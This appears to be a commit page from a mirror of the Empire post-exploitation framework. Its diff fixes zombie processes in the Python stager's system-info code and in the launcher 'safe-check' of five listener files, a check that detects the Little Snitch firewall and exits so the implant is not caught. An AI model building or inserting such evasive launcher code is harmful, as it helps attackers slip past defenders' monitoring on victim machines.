infosecn1nja
/
Empire
mirror of https://github.com/infosecn1nja/Empire.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #1109 from johneiser/dev-SafeCheckFix 

Fix python safe-check from spawning zombie process
fix-for-1142
Chris Ross 2018-05-15 09:51:22 -04:00 committed by GitHub
parent 8a52c0ceb5 9732fe73bf
commit 2c41d660b5
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
6 changed files with 12 additions and 18 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
data/agent/stagers/common/get_sysinfo.py
View File

@ -53,10 +53,9 @@ def get_sysinfo(nonce='00000000'):
language = 'python'
cmd = 'ps %s' % (os.getpid())
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = ps.communicate()
parts = out.split("\n")
ps.stdout.close()
if len(parts) > 2:
processName = " ".join(parts[1].split()[4:])
else:

5
lib/listeners/dbx.py
View File

@ -298,9 +298,8 @@ class Listener:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:

5
lib/listeners/http.py
View File

@ -447,9 +447,8 @@ class Listener:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:

5
lib/listeners/http_foreign.py
View File

@ -279,9 +279,8 @@ class Listener:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:

5
lib/listeners/http_hop.py
View File

@ -249,9 +249,8 @@ class Listener:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e:

5
lib/listeners/redirector.py
View File

@ -253,9 +253,8 @@ class Listener:
if safeChecks.lower() == 'true':
launcherBase += "import re, subprocess;"
launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n"
launcherBase += "out = ps.stdout.read()\n"
launcherBase += "ps.stdout.close()\n"
launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n"
launcherBase += "out, err = ps.communicate()\n"
launcherBase += "if re.search(\"Little Snitch\", out):\n"
launcherBase += " sys.exit()\n"
except Exception as e: